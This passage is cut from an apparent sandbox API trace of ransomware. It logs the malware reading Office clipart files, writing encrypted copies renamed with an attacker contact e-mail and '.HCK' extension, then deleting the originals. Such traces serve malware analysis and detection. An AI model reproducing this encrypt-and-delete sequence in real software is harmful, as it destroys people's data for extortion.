hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.726] SetEndOfFile (hFile=0x364) returned 1 [0154.727] CloseHandle (hObject=0x364) returned 1 [0154.727] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0154.727] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0154.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.727] lstrlenW (lpString=".doc") returned 4 [0154.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.727] lstrlenW (lpString=".docx") returned 5 [0154.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.727] lstrlenW (lpString=".pdf") returned 4 [0154.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".xls") returned 4 [0154.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.728] lstrlenW (lpString=".xlsx") returned 5 [0154.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.728] lstrlenW (lpString=".ppt") returned 4 [0154.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".zip") returned 4 [0154.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.728] lstrlenW (lpString=".rar") returned 4 [0154.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".bz2") returned 4 [0154.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".7z") returned 3 [0154.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".dbf") returned 4 [0154.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".1cd") returned 4 [0154.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".jpg") returned 4 [0154.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".doc") returned 4 [0154.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".docx") returned 5 [0154.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.728] lstrlenW (lpString=".pdf") returned 4 [0154.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".xls") returned 4 [0154.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.728] lstrlenW (lpString=".xlsx") returned 5 [0154.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.728] lstrlenW (lpString=".ppt") returned 4 [0154.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".zip") returned 4 [0154.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.728] lstrlenW (lpString=".rar") returned 4 [0154.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".bz2") returned 4 [0154.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString=".7z") returned 3 [0154.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.728] lstrlenW (lpString=".dbf") returned 4 [0154.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.729] lstrlenW (lpString=".1cd") returned 4 [0154.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0154.729] lstrlenW (lpString=".jpg") returned 4 [0154.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.729] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0154.729] lstrlenW (lpString="AN02724_.WMF") returned 12 [0154.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0154.729] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2108) returned 1 [0154.729] CloseHandle (hObject=0x364) returned 1 [0155.189] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 0x220 [0155.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.197] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.201] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0155.211] GetLastError () returned 0x0 [0155.211] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x83c, lpOverlapped=0x0) returned 1 [0155.225] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x840, lpOverlapped=0x0) returned 1 [0155.226] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.226] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.226] SetEndOfFile (hFile=0x2e8) returned 1 [0155.227] CloseHandle (hObject=0x2e8) returned 1 [0155.227] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.227] SetEndOfFile (hFile=0x308) returned 1 [0155.228] CloseHandle (hObject=0x308) returned 1 [0155.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.228] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02724_.wmf")) returned 1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString=".doc") returned 4 [0155.229] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString=".docx") returned 5 [0155.229] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.229] lstrlenW (lpString=".pdf") returned 4 [0155.229] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString=".xls") returned 4 [0155.229] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.229] lstrlenW (lpString=".xlsx") returned 5 [0155.229] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.229] lstrlenW (lpString=".ppt") returned 4 [0155.229] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString=".zip") returned 4 [0155.229] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.229] lstrlenW (lpString=".rar") returned 4 [0155.229] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString=".bz2") returned 4 [0155.229] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString=".7z") returned 3 [0155.229] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString=".dbf") returned 4 [0155.229] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString=".1cd") returned 4 [0155.229] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString=".jpg") returned 4 [0155.229] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.230] lstrlenW (lpString=".doc") returned 4 [0155.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".docx") returned 5 [0155.230] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.230] lstrlenW (lpString=".pdf") returned 4 [0155.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".xls") returned 4 [0155.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.230] lstrlenW (lpString=".xlsx") returned 5 [0155.230] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.230] lstrlenW (lpString=".ppt") returned 4 [0155.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.230] lstrlenW (lpString=".zip") returned 4 [0155.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.230] lstrlenW (lpString=".rar") returned 4 [0155.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".bz2") returned 4 [0155.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".7z") returned 3 [0155.230] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.230] lstrlenW (lpString=".dbf") returned 4 [0155.230] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.230] lstrlenW (lpString=".1cd") returned 4 [0155.230] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02724_.WMF") returned 68 [0155.230] lstrlenW (lpString=".jpg") returned 4 [0155.230] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.230] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.230] lstrlenW (lpString="BD08808_.WMF") returned 12 [0155.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.230] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=47996) returned 1 [0155.231] CloseHandle (hObject=0x308) returned 1 [0155.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0155.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.231] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.231] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0155.231] GetLastError () returned 0x0 [0155.231] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0155.235] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbb80, lpOverlapped=0x0) returned 1 [0155.236] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.236] SetEndOfFile (hFile=0x2e8) returned 1 [0155.236] CloseHandle (hObject=0x2e8) returned 1 [0155.237] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.237] SetEndOfFile (hFile=0x308) returned 1 [0155.238] CloseHandle (hObject=0x308) returned 1 [0155.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0155.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.239] lstrlenW (lpString=".doc") returned 4 [0155.239] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString=".docx") returned 5 [0155.239] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.239] lstrlenW (lpString=".pdf") returned 4 [0155.239] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString=".xls") returned 4 [0155.239] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.239] lstrlenW (lpString=".xlsx") returned 5 [0155.239] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.239] lstrlenW (lpString=".ppt") returned 4 [0155.239] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.239] lstrlenW (lpString=".zip") returned 4 [0155.239] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.239] lstrlenW (lpString=".rar") returned 4 [0155.239] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString=".bz2") returned 4 [0155.239] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString=".7z") returned 3 [0155.239] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.239] lstrlenW (lpString=".dbf") returned 4 [0155.239] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.239] lstrlenW (lpString=".1cd") returned 4 [0155.239] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".jpg") returned 4 [0155.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".doc") returned 4 [0155.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString=".docx") returned 5 [0155.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0155.240] lstrlenW (lpString=".pdf") returned 4 [0155.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString=".xls") returned 4 [0155.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.240] lstrlenW (lpString=".xlsx") returned 5 [0155.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0155.240] lstrlenW (lpString=".ppt") returned 4 [0155.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".zip") returned 4 [0155.240] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.240] lstrlenW (lpString=".rar") returned 4 [0155.240] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString=".bz2") returned 4 [0155.240] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString=".7z") returned 3 [0155.240] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".dbf") returned 4 [0155.240] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".1cd") returned 4 [0155.240] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0155.240] lstrlenW (lpString=".jpg") returned 4 [0155.240] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.240] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0155.240] lstrlenW (lpString="BD08868_.WMF") returned 12 [0155.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.241] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=40206) returned 1 [0155.241] CloseHandle (hObject=0x308) returned 1 [0155.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0155.241] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0155.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0155.241] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.241] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0155.241] GetLastError () returned 0x0 [0155.241] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0155.244] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x9d10, lpOverlapped=0x0) returned 1 [0155.245] ReadFile (in: hFile=0x308, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.245] WriteFile (in: hFile=0x2e8, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.245] SetEndOfFile (hFile=0x2e8) returned 1 [0155.245] CloseHandle (hObject=0x2e8) returned 1 [0155.247] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.247] SetEndOfFile (hFile=0x308) returned 1 [0155.247] CloseHandle (hObject=0x308) returned 1 [0155.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0155.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 